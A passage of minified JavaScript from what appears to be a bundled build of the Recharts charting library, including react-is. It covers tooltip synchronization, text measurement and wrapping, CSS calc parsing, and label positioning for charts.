0:r,panoramaElement:i?r:void 0}},prepare:He()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:He()}}}),{registerZIndexPortal:JR,unregisterZIndexPortal:e9,registerZIndexPortalElement:t9,unregisterZIndexPortalElement:n9}=q3.actions,r9=q3.reducer;function Mi(e){var{zIndex:t,children:n}=e,r=aM(),i=r&&t!==void 0&&t!==0,s=Jn(),o=ot();m.useLayoutEffect(()=>i?(o(JR({zIndex:t})),()=>{o(e9({zIndex:t}))}):bs,[o,t,i]);var l=je(c=>VR(c,t,s));return i?l?Nx.createPortal(n,l):null:n}function wh(){return wh=Object.assign?Object.assign.bind():function(e){for(var t=1;tm.useContext(X3),Z3={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function s(c,u,d,f,p){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,p),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,h=f.length,x=new Array(h);p{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!mr(n))return e[n]}},m9={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},J3=nn({name:"options",initialState:m9,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),p9=J3.reducer,{createEventEmitter:h9}=J3.actions;function x9(e){return e.tooltip.syncInteraction}var v9={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},ez=nn({name:"chartData",initialState:v9,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:D2,setDataStartEndIndexes:g9,setComputedData:iH}=ez.actions,y9=ez.reducer,b9=["x","y"];function R2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sa(e){for(var t=1;tc.rootProps.className);m.useEffect(()=>{if(e==null)return bs;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var p;if(o&&d!==null&&d!==void 0&&(p=d.payload)!==null&&p!==void 0&&p.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=k9(h,b9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,N=Sa(Sa({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(Sa(Sa({},d),{},{payload:Sa(Sa({},d.payload),{},{coordinate:N})}))}else n(d);return}if(i!=null){var k;if(typeof r=="function"){var z={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},S=r(i,z);k=i[S]}else r==="value"&&(k=i.find(K=>String(K.value)===d.payload.label));var{coordinate:O}=d.payload;if(k==null||d.payload.active===!1||O==null||o==null){n(yh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:A,y:T}=O,P=Math.min(A,o.x+o.width),D=Math.min(T,o.y+o.height),G={x:s==="horizontal"?k.coordinate:P,y:s==="horizontal"?D:k.coordinate},R=yh({active:d.payload.active,coordinate:G,dataKey:d.payload.dataKey,index:String(k.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(R)}}};return Qo.on(jh,c),()=>{Qo.off(jh,c)}},[l,n,t,e,r,i,s,o])}function C9(){var e=je(_0),t=je(A0),n=ot();m.useEffect(()=>{if(e==null)return bs;var r=(i,s,o)=>{t!==o&&e===i&&n(g9(s))};return Qo.on(I2,r),()=>{Qo.off(I2,r)}},[n,t,e])}function P9(){var e=ot();m.useEffect(()=>{e(h9())},[e]),S9(),C9()}function E9(e,t,n,r,i,s){var o=je(h=>DR(h,e,t)),l=je(A0),c=je(_0),u=je(W4),d=je(x9),f=d==null?void 0:d.active,p=Ud();m.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=yh({active:s,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:p,graphicalItemId:void 0});Qo.emit(jh,c,h,l)}},[f,n,o,i,r,l,c,u,s,p])}function $2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function B2(e){for(var t=1;t{z(OD({shared:b,trigger:w,axisId:k,active:i,defaultIndex:S}))},[z,b,w,k,i,S]);var O=Ud(),A=Ik(),T=SD(b),{activeIndex:P,isActive:D}=(t=je(q=>BR(q,T,w,S)))!==null&&t!==void 0?t:{},G=je(q=>$R(q,T,w,S)),R=je(q=>Y3(q,T,w,S)),K=je(q=>RR(q,T,w,S)),_=G,M=u9(),F=(n=i??D)!==null&&n!==void 0?n:!1,[U,V]=hO([_,F]),Z=T==="axis"?R:void 0;E9(T,w,K,Z,P,F);var ae=N??M;if(ae==null||O==null||T==null)return null;var ue=_??F2;F||(ue=F2),u&&ue.length&&(ue=TA(ue.filter(q=>q.value!=null&&(q.hide!==!0||r.includeHidden)),p,T9));var be=ue.length>0,ye=m.createElement(_M,{allowEscapeViewBox:s,animationDuration:o,animationEasing:l,isAnimationActive:d,active:F,coordinate:K,hasPayload:be,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:O,wrapperStyle:y,lastBoundingBox:U,innerRef:V,hasPortalFromProps:!!N},M9(c,B2(B2({},r),{},{payload:ue,label:Z,active:F,activeIndex:P,coordinate:K,accessibilityLayer:A})));return m.createElement(m.Fragment,null,Nx.createPortal(ye,ae),F&&m.createElement(c9,{cursor:v,tooltipEventType:T,coordinate:K,payload:ue,index:P}))}var mf=e=>null;mf.displayName="Cell";function I9(e,t,n){return(t=D9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function D9(e){var t=R9(e,"string");return typeof t=="symbol"?t:t+""}function R9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class $9{constructor(t){I9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function U2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function B9(e){for(var t=1;t{try{var n=document.getElementById(H2);n||(n=document.createElement("span"),n.setAttribute("id",H2),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,H9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},G2=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Gd.isSsr)return{width:0,height:0};if(!tz.enableCache)return K2(t,n);var r=K9(t,n),i=V2.get(r);if(i)return i;var s=K2(t,n);return V2.set(r,s),s},nz;function G9(e,t,n){return(t=Y9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Y9(e){var t=q9(e,"string");return typeof t=="symbol"?t:t+""}function q9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Y2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,q2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,X9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,Z9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,Q9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},J9=["cm","mm","pt","pc","in","Q","px"];function e$(e){return J9.includes(e)}var Ua="NaN";function t$(e,t){return e*Q9[t]}class _t{static parse(t){var n,[,r,i]=(n=Z9.exec(t))!==null&&n!==void 0?n:[];return r==null?_t.NaN:new _t(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,mr(t)&&(this.unit=""),n!==""&&!X9.test(n)&&(this.num=NaN,this.unit=""),e$(n)&&(this.num=t$(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return mr(this.num)}}nz=_t;G9(_t,"NaN",new nz(NaN,""));function rz(e){if(e==null||e.includes(Ua))return Ua;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,s]=(n=Y2.exec(t))!==null&&n!==void 0?n:[],o=_t.parse(r??""),l=_t.parse(s??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return Ua;t=t.replace(Y2,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,p]=(u=q2.exec(t))!==null&&u!==void 0?u:[],h=_t.parse(d??""),x=_t.parse(p??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return Ua;t=t.replace(q2,g.toString())}return t}var X2=/\(([^()]*)\)/;function n$(e){for(var t=e,n;(n=X2.exec(t))!=null;){var[,r]=n;t=t.replace(X2,rz(r))}return t}function r$(e){var t=e.replace(/\s+/g,"");return t=n$(t),t=rz(t),t}function i$(e){try{return r$(e)}catch{return Ua}}function Nm(e){var t=i$(e.slice(5,-1));return t===Ua?"":t}var a$=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],s$=["dx","dy","angle","className","breakAll"];function Nh(){return Nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Mt(t)||(n?i=t.toString().split(""):i=t.toString().split(iz));var s=i.map(l=>({word:l,width:G2(l,r).width})),o=n?0:G2(" ",r).width;return{wordsWithComputedWidth:s,spaceWidth:o}}catch{return null}};function l$(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var sz=(e,t,n,r)=>e.reduce((i,s)=>{var{word:o,width:l}=s,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),c$="…",Q2=(e,t,n,r,i,s,o,l)=>{var c=e.slice(0,t),u=az({breakAll:n,style:r,children:c+c$});if(!u)return[!1,[]];var d=sz(u.wordsWithComputedWidth,s,o,l),f=d.length>i||oz(d).width>Number(s);return[f,d]},u$=(e,t,n,r,i)=>{var{maxLines:s,children:o,style:l,breakAll:c}=e,u=ge(s),d=String(o),f=sz(t,r,n,i);if(!u||i)return f;var p=f.length>s||oz(f).width>Number(r);if(!p)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Q2(d,b,c,l,s,r,n,i),[N]=Q2(d,v,c,l,s,r,n,i);if(!w&&!N&&(h=v+1),w&&N&&(x=v-1),!w&&N){y=j;break}g++}return y||f},J2=e=>{var t=Mt(e)?[]:e.toString().split(iz);return[{words:t,width:void 0}]},d$=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:s,maxLines:o}=e;if((t||n)&&!Gd.isSsr){var l,c,u=az({breakAll:s,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return J2(r);return u$({breakAll:s,children:r,maxLines:o,style:i},l,c,t,!!n)}return J2(r)},lz="#808080",f$={angle:0,breakAll:!1,capHeight:"0.71em",fill:lz,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},mv=m.forwardRef((e,t)=>{var n=gn(e,f$),{x:r,y:i,lineHeight:s,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Z2(n,a$),p=m.useMemo(()=>d$({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Z2(f,s$);if(!Lr(r)||!Lr(i)||p.length===0)return null;var w=Number(r)+(ge(h)?h:0),j=Number(i)+(ge(x)?x:0);if(!Ee(w)||!Ee(j))return null;var N;switch(d){case"start":N=Nm("calc(".concat(o,")"));break;case"middle":N=Nm("calc(".concat((p.length-1)/2," * -").concat(s," + (").concat(o," / 2))"));break;default:N=Nm("calc(".concat(p.length-1," * -").concat(s,")"));break}var k=[],z=p[0];if(c&&z!=null){var S=z.width,{width:O}=f;k.push("scale(".concat(ge(O)&&ge(S)?O/S:1,")"))}return g&&k.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),k.length&&(b.transform=k.join(" ")),m.createElement("text",Nh({},Ut(b),{ref:t,x:w,y:j,className:Qe("recharts-text",y),textAnchor:u,fill:l.includes("url")?lz:l}),p.map((A,T)=>{var P=A.words.join(v?"":" ");return m.createElement("tspan",{x:w,dy:T===0?N:s,key:"".concat(P,"-").concat(T)},P)}))});mv.displayName="Text";function eb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rr(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:s,y:o,height:l,upperWidth:c,lowerWidth:u}=t0(t),d=s,f=s+(c-u)/2,p=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,N=w>0?"end":"start",k=w>0?"start":"end",z=i;if(n==="top"){var S={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return z&&(S.height=Math.max(o-z.y,0),S.width=c),S}if(n==="bottom"){var O={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return z&&(O.height=Math.max(z.y+z.height-(o+l),0),O.width=u),O}if(n==="left"){var A={x:p-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"};return z&&(A.width=Math.max(A.x-z.x,0),A.height=l),A}if(n==="right"){var T={x:p+h+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return z&&(T.width=Math.max(z.x+z.width-T.x,0),T.height=l),T}var P=z?{width:h,height:l}:{};return n==="insideLeft"?rr({x:p+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideRight"?rr({x:p+h-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"},P):n==="insideTop"?rr({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?rr({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?rr({x:d+j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideTopRight"?rr({x:d+c-j,y:o+y,horizontalAnchor:N,verticalAnchor:b},P):n==="insideBottomLeft"?rr({x:f+j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n==="insideBottomRight"?rr({x:f+u-j,y:o+l-y,horizontalAnchor:N,verticalAnchor:v},P):n&&typeof n=="object"&&(ge(n.x)||da(n.x))&&(ge(n.y)||da(n.y))?rr({x:s+fn(n.x,h),y:o+fn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):rr({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},v$=["labelRef"],g$=["content"];function tb(e,t){if(e==null)return{};var n,r,i=y$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r{var e=m.useContext(N$),t=Ud();return e||(t?t0(t):void 0)},z$=m.createContext(null),S$=()=>{var e=m.useContext(z$),t=je(Y4);return e||t},C$=e=>{var{value:t,formatter:n}=e,r=Mt(e.children)?t:e.children;return typeof n=="function"?n(r):r},P$=e=>e!=null&&typeof e=="function",E$=(e,t)=>{var n=qt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},_$=(e,t,n,r,i)=>{var{offset:s,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:p,clockWise:h}=i,x=(u+d)/2,g=E$(f,p),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*s,b=h;break;case"insideEnd":v=p-y*s,b=!h;break;case"end":v=p+y*s,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=dt(l,c,x,v),j=dt(l,c,x,v+(b?1:-1)*359),N="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),k=Mt(e.id)?$o("recharts-radial-line-"):e.id;return m.createElement("text",Bu({},r,{dominantBaseline:"central",className:Qe("recharts-radial-bar-label",o)}),m.createElement("defs",null,m.createElement("path",{id:k,d:N})),m.createElement("textPath",{xlinkHref:"#".concat(k)},n))},A$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:s,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=dt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var p=(s+o)/2,{x:h,y:x}=dt(r,i,p,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},Sc=e=>e!=null&&"cx"in e&&ge(e.cx),O$={angle:0,offset:5,zIndex:Zt.label,position:"middle",textBreakAll:!1};function T$(e){if(!Sc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function cz(e){var t=gn(e,O$),{viewBox:n,parentViewBox:r,position:i,value:s,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=S$(),p=k$(),h=i==="center"?p:f??p,x,g,y;n==null?x=h:Sc(n)?x=n:x=t0(n);var v=T$(x);if(!x||Mt(s)&&Mt(o)&&!m.isValidElement(l)&&typeof l!="function")return null;var b=nc(nc({},t),{},{viewBox:x});if(m.isValidElement(l)){var{labelRef:w}=b,j=tb(b,v$);return m.cloneElement(l,j)}if(typeof l=="function"){var{content:N}=b,k=tb(b,g$);if(g=m.createElement(l,k),m.isValidElement(g))return g}else g=C$(t);var z=Ut(t);if(Sc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return _$(t,i,g,z,x);y=A$(x,t.offset,t.position)}else{if(!v)return null;var S=x$({viewBox:v,position:i,offset:t.offset,parentViewBox:Sc(r)?void 0:r});y=nc(nc({x:S.x,y:S.y,textAnchor:S.horizontalAnchor,verticalAnchor:S.verticalAnchor},S.width!==void 0?{width:S.width}:{}),S.height!==void 0?{height:S.height}:{})}return m.createElement(Mi,{zIndex:t.zIndex},m.createElement(mv,Bu({ref:d,className:Qe("recharts-label",c)},z,y,{textAnchor:l$(z.textAnchor)?z.textAnchor:y.textAnchor,breakAll:u}),g))}cz.displayName="Label";var uz={},dz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(dz);var fz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(fz);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dz,n=fz,r=zd;function i(s){if(r.isArrayLike(s))return t.last(n.toArray(s))}e.last=i})(uz);var M$=uz.last;const L$=Wr(M$);var I$=["valueAccessor"],D$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Fu(){return Fu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?L$(e.value):e.value,mz=m.createContext(void 0),B$=mz.Provider,pz=m.createContext(void 0),F$=pz.Provider;function W$(){return m.useContext(mz)}function U$(){return m.useContext(pz)}function Cc(e){var{valueAccessor:t=$$}=e,n=rb(e,I$),{dataKey:r,clockWise:i,id:s,textBreakAll:o,zIndex:l}=n,c=rb(n,D$),u=W$(),d=U$(),f=u||d;return!f||!f.length?null:m.createElement(Mi,{zIndex:l??Zt.label},m.createElement(tn,{className:"recharts-label-list"},f.map((p,h)=>{var x,g=Mt(r)?t(p,h):Ve(p.payload,r),y=Mt(s)?{}:{id:"".concat(s,"-").concat(h)};return m.createElement(cz,Fu({key:"label-".concat(h)},Ut(p),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:p.fill,parentViewBox:p.parentViewBox,value:g,textBreakAll:o,viewBox:p.viewBox,index:h,zIndex:0}))})))}Cc.displayName="LabelList";function hz(e){var{label:t}=e;return t?t===!0?m.createElement(Cc,{key:"labelList-implicit"}):m.isValidElement(t)||P$(t)?m.createElement(Cc,{key:"labelList-implicit",content:t}):typeof t=="object"?m.createElement(Cc,Fu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function kh(){return kh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,s=Qe("recharts-dot",i);return ge(t)&&ge(n)&&ge(r)?m.createElement("circle",kh({},Mr(e),Ix(e),{className:s,cx:t,cy:n,r})):null},vz=e=>e.graphicalItems.polarItems,V$=I([Je,vl],R0),pf=I([vz,it,V$],$0),H$=I([pf],B0),hf=I([H$,nf],F0),K$=I([hf,it,pf],U0);I([hf,it,pf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var s,o=Ve(r,(s=t.dataKey)!==null&&s!==void 0?s:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var ib=()=>{},G$=I([hf,it,pf,cf,Je],G0),Y$=I([it,H0,K0,ib,G$,ib,De,Je],Y0),gz=I([it,De,hf,K$,xl,Je,Y$],q0),q$=I([gz,Ss,Ti],Q0),X$=I([it,gz,q$,Je],ev);I([Ti,X$],X4);var Z$={radiusAxis:{},angleAxis:{}},yz=nn({name:"polarAxis",initialState:Z$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:aH,removeRadiusAxis:sH,addAngleAxis:oH,removeAngleAxis:lH}=yz.actions,Q$=yz.reducer;function J$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function sb(e){for(var t=1;tt,pv=I([vz,rB],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),iB=[],hv=(e,t,n)=>(n==null?void 0:n.length)===0?iB:n,bz=I([nf,pv,hv],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(s=>sb(sb({},t.presentationProps),s.props))),i!=null)return i}}),aB=I([bz,pv,hv],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var s,o=Ve(r,t.nameKey,t.name),l;return n!=null&&(s=n[i])!==null&&s!==void 0&&(s=s.props)!==null&&s!==void 0&&s.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Rd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),sB=I([bz,pv,hv,kt],(e,t,n,r)=>{if(!(t==null||e==null))return dF({offset:r,pieSettings:t,displayedData:e,cells:n})}),wz={exports:{}},Re={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var xv=Symbol.for("react.transitional.element"),vv=Symbol.for("react.portal"),xf=Symbol.for("react.fragment"),vf=Symbol.for("react.strict_mode"),gf=Symbol.for("react.profiler"),yf=Symbol.for("react.consumer"),bf=Symbol.for("react.context"),wf=Symbol.for("react.forward_ref"),jf=Symbol.for("react.suspense"),Nf=Symbol.for("react.suspense_list"),kf=Symbol.for("react.memo"),zf=Symbol.for("react.lazy"),oB=Symbol.for("react.view_transition"),lB=Symbol.for("react.client.reference");function Ln(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case xv:switch(e=e.type,e){case xf:case gf:case vf:case jf:case Nf:case oB:return e;default:switch(e=e&&e.$$typeof,e){case bf:case wf:case zf:case kf:return e;case yf:return e;default:return t}}case vv:return t}}}Re.ContextConsumer=yf;Re.ContextProvider=bf;Re.Element=xv;Re.ForwardRef=wf;Re.Fragment=xf;Re.Lazy=zf;Re.Memo=kf;Re.Portal=vv;Re.Profiler=gf;Re.StrictMode=vf;Re.Suspense=jf;Re.SuspenseList=Nf;Re.isContextConsumer=function(e){return Ln(e)===yf};Re.isContextProvider=function(e){return Ln(e)===bf};Re.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===xv};Re.isForwardRef=function(e){return Ln(e)===wf};Re.isFragment=function(e){return Ln(e)===xf};Re.isLazy=function(e){return Ln(e)===zf};Re.isMemo=function(e){return Ln(e)===kf};Re.isPortal=function(e){return Ln(e)===vv};Re.isProfiler=function(e){return Ln(e)===gf};Re.isStrictMode=function(e){return Ln(e)===vf};Re.isSuspense=function(e){return Ln(e)===jf};Re.isSuspenseList=function(e){return Ln(e)===Nf};Re.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===xf||e===gf||e===vf||e===jf||e===Nf||typeof e=="object"&&e!==null&&(e.$$typeof===zf||e.$$typeof===kf||e.$$typeof===bf||e.$$typeof===yf||e.$$typeof===wf||e.$$typeof===lB||e.getModuleId!==void 0)};Re.typeOf=Ln;wz.exports=Re;var cB=wz.exports,ob=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",lb=null,km=null,jz=e=>{if(e===lb&&Array.isArray(km))return km;var t=[];return m.Children.forEach(e,n=>{Mt(n)||(cB.isFragment(n)?t=t.concat(jz(n.props.children)):t.push(n))}),km=t,lb=e,t};function Nz(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>ob(i)):r=[ob(t)],jz(e).forEach(i=>{var s=Ro(i,"type.displayName")||Ro(i,"type.name");s&&r.indexOf(s)!==-1&&n.push(i)}),n}var kz=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,zz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const s=n[Symbol.toStringTag];return 